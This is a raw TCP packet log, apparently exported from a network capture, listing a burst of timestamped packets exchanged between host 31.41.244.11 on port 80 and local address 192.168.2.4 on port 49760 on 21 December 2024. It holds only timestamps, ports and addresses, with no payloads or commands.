                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.339237928 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.339293003 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.339344978 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.339399099 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.340240002 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.340290070 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.340312958 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.340362072 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.341492891 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.341528893 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.341547966 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.341572046 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.342447996 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.342499018 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.342580080 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.342629910 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.343575954 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.343626022 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.343631029 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.343679905 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.344698906 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.344752073 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.344868898 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.344919920 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.345891953 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.345938921 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.346057892 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.346098900 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.346884012 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.346927881 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.347054958 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.347100019 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.347995043 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.348041058 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.348051071 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.348093033 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.349106073 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.349164009 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.349215984 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.349258900 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.350183010 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.350227118 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.350311041 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.350354910 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.351264954 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.351330042 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.351403952 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.351447105 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.352401018 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.352446079 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.352507114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.352549076 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.353492022 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.353538036 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.353584051 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.353630066 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.354597092 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.354640961 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.354707956 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.354752064 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.355762005 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.355796099 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.355803013 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.355839014 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.356838942 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.356883049 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.356956959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.357003927 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.357956886 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.358005047 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.358077049 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.358123064 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.359039068 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.359088898 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.359143972 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.359189987 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.360157967 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.360219955 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.360259056 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.360301971 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.361258030 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.361313105 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.361386061 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.361434937 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.362348080 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.362404108 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.362574100 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.362622976 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.363487959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.363543034 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.363544941 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.363588095 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.364561081 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.364620924 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.364718914 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.364763975 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.365664005 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.365715027 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.365786076 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.365832090 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.366810083 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.366863012 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.366863012 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.366909027 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.367932081 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.367986917 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.368036985 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.368083000 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.369002104 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.369055033 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.369108915 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.369159937 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.370085955 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.370137930 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.504719973 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.504774094 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.504786015 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.504815102 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.504822016 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.504857063 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.504909992 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.504961014 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.506213903 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.506268024 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.506268978 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.506309986 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.507227898 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.507282972 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.507285118 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.507332087 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.508213997 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.508265018 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.508271933 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.508320093 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.509172916 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.509221077 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.509301901 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.509354115 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.510279894 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.510330915 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.510423899 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.510468006 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.511503935 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.511576891 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.511692047 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.511742115 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.513092041 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.513144970 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.513226986 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.513274908 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.514341116 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.514388084 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.514444113 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.514497042 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.515391111 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.515425920 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.515439034 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.515465021 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.516313076 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.516365051 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.516447067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.516496897 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.517246008 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.517294884 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.517374039 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.517472029 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.518261909 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.518311977 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.518358946 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.518404961 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.519278049 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.519328117 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.519387960 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.519438982 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.520498037 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.520548105 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.520627975 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.520675898 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.521562099 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.521610022 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.521663904 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.521713972 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.522742033 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.522794962 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.522826910 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.522874117 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.523695946 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.523747921 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.523766041 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.523814917 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.524632931 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.524688959 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.524756908 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.524801970 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.525866985 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.525917053 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.525954962 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.526000977 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.526892900 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.526942015 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.527060986 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.527112961 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.528060913 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.528110981 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.528192997 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.528244019 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.529077053 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.529129982 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.529194117 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.529244900 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.530194044 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.530244112 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.530309916 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.530358076 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.531307936 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.531361103 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.531441927 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.531492949 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.532813072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.532862902 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.532948971 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.532999992 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.533786058 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.533822060 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.533838987 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.533865929 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.534591913 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.534643888 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.534724951 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.534774065 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.535775900 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.535825968 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.535970926 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.536019087 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.536834955 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.536885023 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.537029982 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.537079096 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.537921906 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.537967920 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.538099051 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.538147926 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.539036989 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.539088964 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.539155006 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.539203882 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.540194988 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.540247917 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.540313959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.540359974 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.541315079 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.541364908 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.541718006 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.541769028 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.543132067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.543181896 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.543391943 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.543442965 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.545034885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.545085907 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.545166969 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.545226097 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.545887947 CET804976031.41.244.11192.168.2.4
